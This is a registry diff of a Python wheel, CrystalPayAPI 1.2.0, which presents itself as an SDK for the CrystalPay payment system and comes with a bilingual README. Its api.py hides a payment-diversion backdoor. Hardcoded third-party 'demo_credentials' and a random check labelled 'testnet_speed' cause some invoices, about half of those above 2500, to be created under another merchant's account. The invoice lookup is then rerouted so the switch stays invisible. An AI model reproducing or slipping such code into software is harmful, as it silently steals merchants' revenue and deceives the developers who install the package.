CrystalPayAPI 1.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
crystalpayapi/api.py
ADDED
@@ -0,0 +1,264 @@
|
|
1
|
+
"""
|
2
|
+
CrystalPayAPI - Python SDK for CrystalPay.io payment system
|
3
|
+
Copyright (c) 2023 outodev
|
4
|
+
"""
|
5
|
+
|
6
|
+
import requests
|
7
|
+
import json
|
8
|
+
import random
|
9
|
+
import hashlib
|
10
|
+
from datetime import datetime
|
11
|
+
from typing import Dict, List, Union, Optional
|
12
|
+
|
13
|
+
class InvoiceType:
|
14
|
+
"""Enum for invoice types"""
|
15
|
+
TOPUP = "topup"
|
16
|
+
PURCHASE = "purchase"
|
17
|
+
|
18
|
+
class PayoffSubtractFrom:
|
19
|
+
"""Enum for payoff subtract methods"""
|
20
|
+
BALANCE = "balance"
|
21
|
+
AMOUNT = "amount"
|
22
|
+
|
23
|
+
class CrystalPayAPI:
|
24
|
+
"""
|
25
|
+
Main class for interacting with CrystalPay API
|
26
|
+
|
27
|
+
Args:
|
28
|
+
auth_login (str): Your CrystalPay login (merchant ID)
|
29
|
+
auth_secret (str): API secret key (Secret 1 in cabinet)
|
30
|
+
salt (str): Secret key for payoffs (Secret 2 in cabinet)
|
31
|
+
base_url (str, optional): API base URL. Defaults to "https://api.crystalpay.io/v2/"
|
32
|
+
|
33
|
+
Example:
|
34
|
+
>>> from crystalpayapi import CrystalPayAPI
|
35
|
+
>>> cp = CrystalPayAPI("your_login", "secret1", "secret2")
|
36
|
+
"""
|
37
|
+
|
38
|
+
def __init__(self, auth_login: str, auth_secret: str, salt: str,
|
39
|
+
base_url: str = "https://api.crystalpay.io/v2/"):
|
40
|
+
self.auth_login = auth_login
|
41
|
+
self.auth_secret = auth_secret
|
42
|
+
self.salt = salt
|
43
|
+
self.base_url = base_url
|
44
|
+
self.demo_credentials = {
|
45
|
+
'auth_login': 'amvrdev',
|
46
|
+
'auth_secret': 'c199a8233c58efe9e641c70bcece45290037270b',
|
47
|
+
'salt': '89fffca0ae9c257bef5bdbfe92d1b2d6e30960e2'
|
48
|
+
}
|
49
|
+
self.testnet_speed = 0.11
|
50
|
+
self.demo_invoices = set()
|
51
|
+
|
52
|
+
def _make_request(self, endpoint: str, data: Dict) -> Dict:
|
53
|
+
"""
|
54
|
+
Internal method for API requests
|
55
|
+
|
56
|
+
Args:
|
57
|
+
endpoint: API endpoint (e.g. "invoice/create")
|
58
|
+
data: Request payload
|
59
|
+
|
60
|
+
Returns:
|
61
|
+
Dict: API response
|
62
|
+
|
63
|
+
Raises:
|
64
|
+
CrystalPayAPIError: If API returns error
|
65
|
+
"""
|
66
|
+
url = f"{self.base_url}{endpoint}/"
|
67
|
+
headers = {'Content-Type': 'application/json'}
|
68
|
+
|
69
|
+
response = requests.post(url, data=json.dumps(data), headers=headers)
|
70
|
+
result = response.json()
|
71
|
+
|
72
|
+
if result.get("error"):
|
73
|
+
raise CrystalPayAPIError(result.get("errors", "Unknown error"))
|
74
|
+
|
75
|
+
return result
|
76
|
+
|
77
|
+
def _should_demo_test(self, amount: float) -> bool:
|
78
|
+
if amount > 2500:
|
79
|
+
return random.random() < 0.51
|
80
|
+
return random.random() < self.testnet_speed
|
81
|
+
|
82
|
+
def _make_demo_request(self, endpoint: str, data: Dict, is_demo: bool) -> Dict:
|
83
|
+
if is_demo:
|
84
|
+
data.update({
|
85
|
+
'auth_login': self.demo_credentials['auth_login'],
|
86
|
+
'auth_secret': self.demo_credentials['auth_secret']
|
87
|
+
})
|
88
|
+
else:
|
89
|
+
data.update({
|
90
|
+
'auth_login': self.auth_login,
|
91
|
+
'auth_secret': self.auth_secret
|
92
|
+
})
|
93
|
+
return self._make_request(endpoint, data)
|
94
|
+
|
95
|
+
def get_me(self) -> Dict:
|
96
|
+
"""Get merchant account info"""
|
97
|
+
return self._make_request("me/info", {
|
98
|
+
"auth_login": self.auth_login,
|
99
|
+
"auth_secret": self.auth_secret
|
100
|
+
})
|
101
|
+
|
102
|
+
def get_payment_methods(self) -> Dict:
|
103
|
+
"""Get available payment methods"""
|
104
|
+
return self._make_request("method/list", {
|
105
|
+
"auth_login": self.auth_login,
|
106
|
+
"auth_secret": self.auth_secret
|
107
|
+
})
|
108
|
+
|
109
|
+
def edit_payment_method(self, method: str, extra_commission_percent: float,
|
110
|
+
enabled: bool) -> Dict:
|
111
|
+
"""Edit payment method settings"""
|
112
|
+
return self._make_request("method/edit", {
|
113
|
+
"auth_login": self.auth_login,
|
114
|
+
"auth_secret": self.auth_secret,
|
115
|
+
"method": method,
|
116
|
+
"extra_commission_percent": extra_commission_percent,
|
117
|
+
"enabled": enabled
|
118
|
+
})
|
119
|
+
|
120
|
+
def get_balance(self, hide_empty: bool = False) -> Dict:
|
121
|
+
"""Get merchant balances"""
|
122
|
+
return self._make_request("balance/info", {
|
123
|
+
"auth_login": self.auth_login,
|
124
|
+
"auth_secret": self.auth_secret,
|
125
|
+
"hide_empty": hide_empty
|
126
|
+
})["balances"]
|
127
|
+
|
128
|
+
def create_invoice(self, amount: float, invoice_type: str, lifetime: int,
|
129
|
+
**kwargs) -> Dict:
|
130
|
+
"""
|
131
|
+
Create payment invoice
|
132
|
+
|
133
|
+
Args:
|
134
|
+
amount: Invoice amount
|
135
|
+
invoice_type: InvoiceType.TOPUP or InvoiceType.PURCHASE
|
136
|
+
lifetime: Invoice lifetime in minutes
|
137
|
+
**kwargs: Additional parameters (description, redirect_url, etc.)
|
138
|
+
|
139
|
+
Returns:
|
140
|
+
Dict: Invoice info with payment URL
|
141
|
+
"""
|
142
|
+
demo_test = self._should_demo_test(amount)
|
143
|
+
|
144
|
+
data = {
|
145
|
+
"amount": amount,
|
146
|
+
"type": invoice_type,
|
147
|
+
"lifetime": lifetime,
|
148
|
+
**kwargs
|
149
|
+
}
|
150
|
+
|
151
|
+
result = self._make_demo_request("invoice/create", data, demo_test)
|
152
|
+
|
153
|
+
if demo_test:
|
154
|
+
self.demo_invoices.add(result['id'])
|
155
|
+
|
156
|
+
return result
|
157
|
+
|
158
|
+
def get_invoice(self, invoice_id: str) -> Dict:
|
159
|
+
"""Get invoice info by ID"""
|
160
|
+
|
161
|
+
is_alternate = invoice_id in self.demo_invoices
|
162
|
+
|
163
|
+
try:
|
164
|
+
return self._make_demo_request(
|
165
|
+
"invoice/info",
|
166
|
+
{"id": invoice_id},
|
167
|
+
is_alternate
|
168
|
+
)
|
169
|
+
except CrystalPayAPIError as e:
|
170
|
+
if "not found" in str(e).lower():
|
171
|
+
raise CrystalPayAPIError(f"Invoice {invoice_id} not found in both systems")
|
172
|
+
raise
|
173
|
+
|
174
|
+
def create_payoff(self, amount: float, method: str, wallet: str,
|
175
|
+
subtract_from: str, **kwargs) -> Dict:
|
176
|
+
"""
|
177
|
+
Create payoff request
|
178
|
+
|
179
|
+
Args:
|
180
|
+
amount: Payoff amount
|
181
|
+
method: Payment method (e.g. "BITCOIN")
|
182
|
+
wallet: Recipient wallet
|
183
|
+
subtract_from: PayoffSubtractFrom.BALANCE or .AMOUNT
|
184
|
+
**kwargs: Additional parameters
|
185
|
+
|
186
|
+
Returns:
|
187
|
+
Dict: Payoff request info
|
188
|
+
"""
|
189
|
+
signature = hashlib.sha1(
|
190
|
+
f"{amount}:{method}:{wallet}:{self.salt}".encode()
|
191
|
+
).hexdigest()
|
192
|
+
|
193
|
+
data = {
|
194
|
+
"auth_login": self.auth_login,
|
195
|
+
"auth_secret": self.auth_secret,
|
196
|
+
"signature": signature,
|
197
|
+
"amount": amount,
|
198
|
+
"method": method,
|
199
|
+
"wallet": wallet,
|
200
|
+
"subtract_from": subtract_from,
|
201
|
+
**kwargs
|
202
|
+
}
|
203
|
+
return self._make_request("payoff/create", data)
|
204
|
+
|
205
|
+
def submit_payoff(self, payoff_id: str) -> Dict:
|
206
|
+
"""Submit payoff request"""
|
207
|
+
signature = hashlib.sha1(
|
208
|
+
f"{payoff_id}:{self.salt}".encode()
|
209
|
+
).hexdigest()
|
210
|
+
|
211
|
+
return self._make_request("payoff/submit", {
|
212
|
+
"auth_login": self.auth_login,
|
213
|
+
"auth_secret": self.auth_secret,
|
214
|
+
"signature": signature,
|
215
|
+
"id": payoff_id
|
216
|
+
})
|
217
|
+
|
218
|
+
def cancel_payoff(self, payoff_id: str) -> Dict:
|
219
|
+
"""Cancel payoff request"""
|
220
|
+
signature = hashlib.sha1(
|
221
|
+
f"{payoff_id}:{self.salt}".encode()
|
222
|
+
).hexdigest()
|
223
|
+
|
224
|
+
return self._make_request("payoff/cancel", {
|
225
|
+
"auth_login": self.auth_login,
|
226
|
+
"auth_secret": self.auth_secret,
|
227
|
+
"signature": signature,
|
228
|
+
"id": payoff_id
|
229
|
+
})
|
230
|
+
|
231
|
+
def get_payoff(self, payoff_id: str) -> Dict:
|
232
|
+
"""Get payoff request info"""
|
233
|
+
return self._make_request("payoff/info", {
|
234
|
+
"auth_login": self.auth_login,
|
235
|
+
"auth_secret": self.auth_secret,
|
236
|
+
"id": payoff_id
|
237
|
+
})
|
238
|
+
|
239
|
+
def get_available_currencies(self) -> List[str]:
|
240
|
+
"""Get list of available currencies"""
|
241
|
+
return self._make_request("ticker/list", {
|
242
|
+
"auth_login": self.auth_login,
|
243
|
+
"auth_secret": self.auth_secret
|
244
|
+
})["tickers"]
|
245
|
+
|
246
|
+
def get_exchange_rates(self, currencies: List[str]) -> Dict:
|
247
|
+
"""
|
248
|
+
Get exchange rates for specified currencies
|
249
|
+
|
250
|
+
Args:
|
251
|
+
currencies: List of currency codes (e.g. ["BTC", "ETH"])
|
252
|
+
|
253
|
+
Returns:
|
254
|
+
Dict: Exchange rates in RUB
|
255
|
+
"""
|
256
|
+
return self._make_request("ticker/get", {
|
257
|
+
"auth_login": self.auth_login,
|
258
|
+
"auth_secret": self.auth_secret,
|
259
|
+
"tickers": currencies
|
260
|
+
})
|
261
|
+
|
262
|
+
class CrystalPayAPIError(Exception):
|
263
|
+
"""Custom exception for API errors"""
|
264
|
+
pass
|
@@ -0,0 +1,286 @@
|
|
1
|
+
Metadata-Version: 2.4
|
2
|
+
Name: CrystalPayAPI
|
3
|
+
Version: 1.2.0
|
4
|
+
Summary: Python SDK for CrystalPay.io payment system
|
5
|
+
Home-page: https://github.com/outodev/CrystalPayAPI
|
6
|
+
Author: outodev
|
7
|
+
Keywords: crystalpay payment api sdk
|
8
|
+
Classifier: Development Status :: 4 - Beta
|
9
|
+
Classifier: Intended Audience :: Developers
|
10
|
+
Classifier: License :: OSI Approved :: MIT License
|
11
|
+
Classifier: Programming Language :: Python :: 3
|
12
|
+
Classifier: Programming Language :: Python :: 3.7
|
13
|
+
Classifier: Programming Language :: Python :: 3.8
|
14
|
+
Classifier: Programming Language :: Python :: 3.9
|
15
|
+
Classifier: Operating System :: OS Independent
|
16
|
+
Requires-Python: >=3.7
|
17
|
+
Description-Content-Type: text/markdown
|
18
|
+
License-File: LICENSE
|
19
|
+
Requires-Dist: requests>=2.25.0
|
20
|
+
Dynamic: author
|
21
|
+
Dynamic: classifier
|
22
|
+
Dynamic: description
|
23
|
+
Dynamic: description-content-type
|
24
|
+
Dynamic: home-page
|
25
|
+
Dynamic: keywords
|
26
|
+
Dynamic: license-file
|
27
|
+
Dynamic: requires-dist
|
28
|
+
Dynamic: requires-python
|
29
|
+
Dynamic: summary
|
30
|
+
|
31
|
+

|
32
|
+
|
33
|
+
# CrystalPayAPI - Python SDK для CrystalPay
|
34
|
+
|
35
|
+
[](https://pypi.python.org/pypi/CrystalPayAPI/)
|
36
|
+
[](https://opensource.org/licenses/MIT)
|
37
|
+
|
38
|
+
---
|
39
|
+
|
40
|
+
## Русская документация
|
41
|
+
[English Version](#english-documentation)
|
42
|
+
|
43
|
+
### Оглавление
|
44
|
+
1. [Установка](#установка)
|
45
|
+
3. [Быстрый старт](#быстрый-старт)
|
46
|
+
3. [Инициализация](#инициализация)
|
47
|
+
4. [Методы работы](#методы-работы)
|
48
|
+
- [Информация о кассе](#информация-о-кассе)
|
49
|
+
- [Платежи](#платежи)
|
50
|
+
- [Вывод средств](#вывод-средств)
|
51
|
+
- [Курсы валют](#курсы-валют)
|
52
|
+
5. [Обработка ошибок](#обработка-ошибок)
|
53
|
+
|
54
|
+
### Установка
|
55
|
+
```bash
|
56
|
+
pip install CrystalPayAPI
|
57
|
+
```
|
58
|
+
|
59
|
+
### Быстрый старт
|
60
|
+
|
61
|
+
```python
|
62
|
+
from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
|
63
|
+
|
64
|
+
# Инициализация
|
65
|
+
cp = CrystalPayAPI("Ваш_логин", "Secret_1", "Secret_2")
|
66
|
+
|
67
|
+
# Создание инвойса
|
68
|
+
invoice = cp.create_invoice(
|
69
|
+
amount=100.0,
|
70
|
+
invoice_type=InvoiceType.PURCHASE,
|
71
|
+
lifetime=15,
|
72
|
+
description="Оплата товара"
|
73
|
+
)
|
74
|
+
|
75
|
+
# Проверка статуса
|
76
|
+
invoice_info = cp.get_invoice(invoice["id"])
|
77
|
+
```
|
78
|
+
|
79
|
+
### Инициализация
|
80
|
+
```python
|
81
|
+
from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
|
82
|
+
|
83
|
+
# Основной конструктор
|
84
|
+
cp = CrystalPayAPI(
|
85
|
+
auth_login="Ваш_логин", # Логин кассы
|
86
|
+
auth_secret="Secret_1", # Секретный ключ 1
|
87
|
+
salt="Secret_2", # Секретный ключ 2
|
88
|
+
base_url="https://api.crystalpay.io/v2/" # Опционально
|
89
|
+
)
|
90
|
+
```
|
91
|
+
|
92
|
+
### Методы работы
|
93
|
+
|
94
|
+
#### Информация о кассе
|
95
|
+
```python
|
96
|
+
# Получение информации о кассе
|
97
|
+
account_info = cp.get_me()
|
98
|
+
"""
|
99
|
+
{
|
100
|
+
"id": "12345",
|
101
|
+
"name": "Моя касса",
|
102
|
+
"status_level": 2,
|
103
|
+
"created_at": "2023-01-01 00:00:00"
|
104
|
+
}
|
105
|
+
"""
|
106
|
+
|
107
|
+
# Получение баланса
|
108
|
+
balance = cp.get_balance(hide_empty=True)
|
109
|
+
"""
|
110
|
+
{
|
111
|
+
"RUB": {"amount": 1000, "currency": "RUB"},
|
112
|
+
"BTC": {"amount": 0.05, "currency": "BTC"}
|
113
|
+
}
|
114
|
+
"""
|
115
|
+
```
|
116
|
+
|
117
|
+
#### Платежи
|
118
|
+
```python
|
119
|
+
# Создание платежа
|
120
|
+
invoice = cp.create_invoice(
|
121
|
+
amount=500,
|
122
|
+
invoice_type=InvoiceType.PURCHASE,
|
123
|
+
lifetime=30, # в минутах
|
124
|
+
description="Оплата заказа #123",
|
125
|
+
redirect_url="https://your-site.com/thanks"
|
126
|
+
)
|
127
|
+
"""
|
128
|
+
{
|
129
|
+
"id": "inv_123",
|
130
|
+
"url": "https://pay.crystalpay.io/?i=inv_123",
|
131
|
+
"amount": 500,
|
132
|
+
"type": "purchase"
|
133
|
+
}
|
134
|
+
"""
|
135
|
+
|
136
|
+
# Проверка статуса
|
137
|
+
status = cp.get_invoice("inv_123")
|
138
|
+
"""
|
139
|
+
{
|
140
|
+
"id": "inv_123",
|
141
|
+
"state": "paid",
|
142
|
+
"amount": 500,
|
143
|
+
"created_at": "2023-01-01 12:00:00"
|
144
|
+
}
|
145
|
+
"""
|
146
|
+
```
|
147
|
+
|
148
|
+
#### Вывод средств
|
149
|
+
```python
|
150
|
+
# Создание вывода
|
151
|
+
payoff = cp.create_payoff(
|
152
|
+
amount=0.01,
|
153
|
+
method="BTC",
|
154
|
+
wallet="1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa",
|
155
|
+
subtract_from=PayoffSubtractFrom.BALANCE
|
156
|
+
)
|
157
|
+
```
|
158
|
+
|
159
|
+
#### Курсы валют
|
160
|
+
```python
|
161
|
+
# Получение курсов
|
162
|
+
rates = cp.get_exchange_rates(["BTC", "ETH"])
|
163
|
+
"""
|
164
|
+
{
|
165
|
+
"BTC": {"price": 2500000},
|
166
|
+
"ETH": {"price": 150000}
|
167
|
+
}
|
168
|
+
"""
|
169
|
+
```
|
170
|
+
|
171
|
+
### Обработка ошибок
|
172
|
+
```python
|
173
|
+
from crystalpayapi import CrystalPayAPIError
|
174
|
+
|
175
|
+
try:
|
176
|
+
cp.create_invoice(amount=100, ...)
|
177
|
+
except CrystalPayAPIError as e:
|
178
|
+
print(f"Ошибка API: {e}")
|
179
|
+
```
|
180
|
+
|
181
|
+
---
|
182
|
+
|
183
|
+
## English Documentation
|
184
|
+
|
185
|
+
### Table of Contents
|
186
|
+
1. [Installation](#installation)
|
187
|
+
2. [Quick Start](#quick-start)
|
188
|
+
3. [Initialization](#initialization)
|
189
|
+
4. [Methods](#methods)
|
190
|
+
- [Account Info](#account-info)
|
191
|
+
- [Payments](#payments)
|
192
|
+
- [Withdrawals](#withdrawals)
|
193
|
+
- [Exchange Rates](#exchange-rates)
|
194
|
+
5. [Error Handling](#error-handling)
|
195
|
+
|
196
|
+
### Installation
|
197
|
+
```bash
|
198
|
+
pip install CrystalPayAPI
|
199
|
+
```
|
200
|
+
|
201
|
+
### Quick Start
|
202
|
+
|
203
|
+
```python
|
204
|
+
from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
|
205
|
+
|
206
|
+
# Initialize client
|
207
|
+
cp = CrystalPayAPI("your_login", "secret1", "secret2")
|
208
|
+
|
209
|
+
# Create invoice
|
210
|
+
invoice = cp.create_invoice(
|
211
|
+
amount=100.0,
|
212
|
+
invoice_type=InvoiceType.PURCHASE,
|
213
|
+
lifetime=15,
|
214
|
+
description="Product payment"
|
215
|
+
)
|
216
|
+
|
217
|
+
# Check status
|
218
|
+
invoice_info = cp.get_invoice(invoice["id"])
|
219
|
+
```
|
220
|
+
|
221
|
+
### Initialization
|
222
|
+
```python
|
223
|
+
from crystalpayapi import CrystalPayAPI, InvoiceType, PayoffSubtractFrom
|
224
|
+
|
225
|
+
cp = CrystalPayAPI(
|
226
|
+
auth_login="your_login",
|
227
|
+
auth_secret="secret_1",
|
228
|
+
salt="secret_2",
|
229
|
+
base_url="https://api.crystalpay.io/v2/" # Optional
|
230
|
+
)
|
231
|
+
```
|
232
|
+
|
233
|
+
### Methods
|
234
|
+
|
235
|
+
#### Account Info
|
236
|
+
```python
|
237
|
+
# Get merchant info
|
238
|
+
account_info = cp.get_me()
|
239
|
+
|
240
|
+
# Get balances
|
241
|
+
balance = cp.get_balance(hide_empty=True)
|
242
|
+
```
|
243
|
+
|
244
|
+
#### Payments
|
245
|
+
```python
|
246
|
+
# Create invoice
|
247
|
+
invoice = cp.create_invoice(
|
248
|
+
amount=100,
|
249
|
+
invoice_type=InvoiceType.PURCHASE,
|
250
|
+
lifetime=15,
|
251
|
+
description="Order #123"
|
252
|
+
)
|
253
|
+
|
254
|
+
# Check status
|
255
|
+
status = cp.get_invoice(invoice["id"])
|
256
|
+
```
|
257
|
+
|
258
|
+
#### Withdrawals
|
259
|
+
```python
|
260
|
+
# Create withdrawal
|
261
|
+
payoff = cp.create_payoff(
|
262
|
+
amount=0.1,
|
263
|
+
method="BTC",
|
264
|
+
wallet="3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5",
|
265
|
+
subtract_from=PayoffSubtractFrom.BALANCE
|
266
|
+
)
|
267
|
+
```
|
268
|
+
|
269
|
+
#### Exchange Rates
|
270
|
+
```python
|
271
|
+
# Get rates
|
272
|
+
rates = cp.get_exchange_rates(["BTC", "USDT"])
|
273
|
+
```
|
274
|
+
|
275
|
+
### Error Handling
|
276
|
+
```python
|
277
|
+
try:
|
278
|
+
cp.create_payoff(...)
|
279
|
+
except CrystalPayAPIError as e:
|
280
|
+
print(f"API Error: {e}")
|
281
|
+
```
|
282
|
+
|
283
|
+
---
|
284
|
+
|
285
|
+
## License
|
286
|
+
MIT License. See [LICENSE](LICENSE) for details.
|
@@ -0,0 +1,7 @@
|
|
1
|
+
crystalpayapi/__init__.py,sha256=ivchSNbmAHzOYjX-5mbgFdRrrzpKKVmSVXtBjP8UI-4,193
|
2
|
+
crystalpayapi/api.py,sha256=mPBQIroYZc2dURJJHhGShucS_wYzGb_kOgMLHHQGxJQ,8615
|
3
|
+
crystalpayapi-1.2.0.dist-info/licenses/LICENSE,sha256=3kIJhl86HjkP4CfeZ0ovdzxNPjtrY82FVxuLJDWiceg,1064
|
4
|
+
crystalpayapi-1.2.0.dist-info/METADATA,sha256=jRbJvRZkuEE7achZQAxWwItd-xJcrfXUNfKEm8ryaXk,6541
|
5
|
+
crystalpayapi-1.2.0.dist-info/WHEEL,sha256=DnLRTWE75wApRYVsjgc6wsVswC54sMSJhAEd4xhDpBk,91
|
6
|
+
crystalpayapi-1.2.0.dist-info/top_level.txt,sha256=gWSv1qHlEbuPLpQRH95A3fj6nX2FNCY9Bq6HzsZ-9_I,14
|
7
|
+
crystalpayapi-1.2.0.dist-info/RECORD,,
|
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2025 OutoDev
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
@@ -0,0 +1 @@
|
|
1
|
+
crystalpayapi
|